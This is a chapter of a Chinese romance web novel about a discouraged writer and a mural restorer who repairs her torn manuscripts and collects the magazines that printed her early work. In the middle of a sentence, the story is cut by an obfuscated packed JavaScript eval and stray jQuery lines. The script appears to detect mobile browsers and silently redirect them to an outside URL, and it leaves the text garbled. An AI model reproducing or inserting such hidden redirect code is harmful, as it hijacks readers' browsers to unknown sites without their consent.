故事讲完，卓桢桢的表情淡淡，分不出喜悲。她起身回房，严濡非跟在她身后亦步亦趋。
屋内里拉着窗帘，光线昏暗，他刚抬脚往里走，脚底踩到什么发出“沙沙”声。他低头，在黑暗中仔细辨认——地板上散落着书稿，有撕碎的，有团成团的，一片狼藉。
卓桢桢从书稿上踩过，倒头躺进懒人沙发。
严濡非蹲下身，把成团的纸一一展开，刚归整好一叠，就听沙发上的人说：“帮我烧了吧。”
“真舍得烧了？”他动作一僵。
“反正是没用的废纸。”卓桢桢自嘲地扯动嘴角，“不用叶蓁蓁的名字，它们根本就没有出版社要。叶启铭说得对，如果没有一个当作家的爹，我根本不可能有之前的成绩。”
严濡非没说话，只是把碎纸一片片捡起，然后放进外套内口袋收好。
“这些不是废纸。”他抬头，镜片后的眼睛里满是认真，“我是你的读者，我最有话语权。”
“有一个作家父亲，可以让你年少成名、写作之路更平坦。但没有他，你也照样是那个有才华、情感充盈的你，不要妄自菲薄，成名只是时间问题。”
卓桢桢的眼眶泛起热意，她抬手捂住自己的眼睛：“可我写不下去了......”
“那就先不写。”严濡非把整理好的稿子放进书桌抽屉，拉了把椅子坐在懒人沙发旁，“就当给自己放假，休息一段时间。”
“以后当我的记录员，修复进行到哪一步、用什么工具做了什么、我们说了什么话，都仔细记下来。”
“不是说让我休息吗......怎么又给我安排活儿干......”
“怎么？不乐意？”严濡非被她的嘟囔逗乐，拿开她挡脸的手，露出的一双微红眼睛与他对视。
卓桢桢觉得难为情，抬手要挡却被他捏住手腕。
“你干什么啊！”
卓桢桢还没来得及闹，眼尾就被严濡非的指腹轻轻擦过。他说：“之前给你当了一个月的免费咨询师，现在让你给我当记录员，怎么了？”
为了给她找事，居然搬出这么久远的事情。
卓桢桢别过脸，却没躲开他的触碰，声音闷闷的：“丑话先说好，要是记错记漏，跟我可没关系，谁让你找个门外汉帮忙。”
严濡非在她发顶揉了揉，说了个“行”字，然后走到窗边拉开窗帘。
外面雨停了，隐隐有放晴的兆头。
明天会是个晴天。
第二天一早，严濡非把自己的工作日志本交给卓桢桢，还给她准备了一个小马扎，让她坐近方便观察记录。
虽然她嘴硬，说自己只是随便写写，但身体还是很诚实，认真记下他们的行为动作、工作进度：
10月18日，西墙清理正式完工，用白纱覆盖防止再次脏污。南墙清理也于同一天展开。后发现南墙壁画上有一块被不明物质覆盖，呈灰白色。
10月19日，通过拉曼光谱仪确定盐类类型为硫酸钠(Na2SO4)，其核心危害是，温湿度变化时会反复吸水膨胀、脱水收缩，导致石刻表面酥化、裂隙扩大，甚至纹饰剥落。
10月20日，敲定优先物理排盐清理计划。将环境湿度稳定在50%-60%，搭建临时遮挡棚，避免雨水直接冲刷和阳光直射。用毛刷扫除表面松散盐晶，局部顽固盐渍用棉签蘸取3%的乙醇-去离子水溶液精准点擦。
10月29日，南墙清理完毕。下个月要进入病害治理阶段，对壁画空鼓、颜料层剥落、褪色霉变等病害进行针对性处理。
......
卓桢桢记录认真，遇到不会写的专业名词，就翻找严濡非的笔记本，或者直接问他。
修复组的人都夸她有耐心，马叔还打趣，说她以后可以考虑来当修复师。
卓桢桢也笑：“行啊，我还怕你们不要我呢。”
其实作家和修复师很像。
从某种程度上来说，修复师也是作家，他们是文物的作家。他们以指尖为笔，以匠心为墨，将被埋葬的历史重新呈现在人们眼前。
修复师与作家一样，都与时间赛跑，都与消逝对抗。
她看着西侧观音壁龛的坑洞，忽然想明白了：物件常有缺，人生终有憾。有些东西虽然消失，但可以换另一种方式存在。
周末，卓桢桢坐在书桌前看母亲留下的手稿。这段时间她在想，自己究竟为什么而写。
是为了完成母亲的梦想，让她的心事被听见、被记住；还是为了证明自己，摆脱“叁口之女”的标签，被看见、被肯定。
卓桢桢指尖悬在抽屉把手上，那些被退回的书稿仍然放在里面。半个月了，她都没有打开过。
犹豫了半晌，她还是轻轻拉开，取出那叠被自己成为废纸的东西。上面皱巴巴，全是她的手笔。
这时门被敲响，卓桢桢起身去开门，就见严濡非站在门外大口喘气，手上搭着件外套。“你不是进城了吗？”她问，“怎么没在外面多玩会儿？”
卓桢桢知道他一大早出门了，这会儿还没到午饭点，返程也太快了。
“我有东西要给你。”他说着，从背后拿出几张稿纸，递到卓桢桢面前。
卓桢桢先是一愣，随即笑着接过：“不愧是修复师，手真巧。你粘了多久？”
这是之前被她揉成团又撕碎的书稿，现在被粘贴整齐，页面发润，边缘微微卷起。
“没多久。”严濡非说。
粘贴碎片不算难，只是需要细心和时间。挤出米粒大小的胶水，沿着纸张断裂处的边缘慢慢涂抹，涂完后用指腹轻轻按压贴合，停留三秒，再用棉签擦掉溢胶。每天下班他都抽出时间，就这样一点点完成。
卓桢桢知道他肯定花了不少心思，感激之情溢于言表：“我正准备修改以前的文章，要是少了这几页就糟了，还好有你。”
“其实还有样东西。”
严濡非拿开外套，露出另一只手上的东西，是几本杂志。卓桢桢瞥了一眼最上面那本的封面，心口猛地一惊。
海市出版社的《少年文艺》，2011年印刷出版。
刊登她作品的第一本刊物。
“你怎么......”卓桢桢顿住，剩下的话淹没在她翻涌的情绪里。
这些杂志是哪来的？时隔多年他怎么找到的？
严濡非将她的震惊尽收眼底，明白她想说什么。他嘴角勾起，说得轻描淡写：“托了一位在海市的朋友帮忙。”
“除了你高中的校刊，其他刊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816929|190932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
登过你作品的杂志都在这儿了。”说着，他把杂志递过去。
卓桢桢接过那叠书，有十多本，份量不小，压得她鼻尖一酸，险些掉下眼泪：“你为什么要......为我做这些？”
严濡非走近一步，微微弯腰与她平视：“因为我想让你记起叶蓁蓁，她也是你的一部分。你没有丢掉叶蓁蓁的才华与敏感，还比她多了披荆斩棘的勇气和自我主宰的力量。”
“现在的你，比她细腻，比她清醒。”
眼泪滚落，砸在杂志封面上，向下滑出一道水痕。
“谢谢你......”卓桢桢哽咽着，声音沉闷。
心里的那股郁气消散，取而代之的是一颗种子，在她心上悄悄生根、发芽，在将来的某一天，会主导她的心跳。
严濡非抬手替她擦眼泪，调侃道：“以前怎么没发现你这么爱哭呢？”
卓桢桢觉得难为情，推开他的手将额头抵在他的肩膀，不让严濡非看见她的脸。
“还不好意思了？”他觉得肩颈发痒，脸上笑意更甚，“好了好了，深呼吸。”
明明是安慰，可落在别人眼里，两人动作亲密暧昧。
“我们......”
“是不是......”
“来的不是时候？”
刚进客厅的三人停下脚步，视线在他们身上来回扫。卓越和孙薇对视一眼后偷笑，只有张思奥的表情不太对劲，板着一张脸。
卓桢桢见到他们，脸颊瞬间变得跟眼眶一样红，看上去很滑稽。她吸吸鼻子：“你们怎么，一起来了？”
“你问那家伙。”卓越用下巴指指严濡非，一脸戏谑。
严濡非今天一大早去小卖部借车，卓越见他着急，就临时推掉今天的进货计划，改成明天。刚刚看见车停门口，就上来看看，没想到就见到两人抱在一起，腻腻歪歪的。
“有事？”严濡非收起笑脸，恢复平时淡漠的样子。
真是个变脸怪......
卓越默默在心里翻了个白眼，面上如常：“明天我要去镇上进货，孙薇想顺便去逛夜市，所以我来问问你们要不要一起？”
严濡非对出去玩没什么兴趣，低声问卓桢桢的意见。
卓桢桢想花时间改稿，不太想去，刚想拒绝就看见孙薇冲她使劲眨眼。她当即懂了，吸吸鼻子，点头应下。
“那我也去。”
“那说好了，明天下午五点，小卖部集合。”
*
【小剧场】
某天深夜，vx聊天界面。
濡：顾大画家睡了没？
清和：哟哟哟~我们的严大修复师不是坚持早睡早起吗？怎么有空给鄙人发消息啊？
濡：别贫嘴，有事拜托你
清和：年初让你给我的新画廊撑场子，你没来，现在有事知道来找我了？
濡：算我欠你的
清和：这还差不多，说吧什么事？
濡：有名青年作家叫叶蓁蓁，帮我找到所有刊登过她作品的刊物，寄到“裕市万古镇快递驿站”
清和：这人谁啊？你要这个干嘛？
濡：帮我朋友一个忙而已
清和：女(性)朋友？
濡：话真多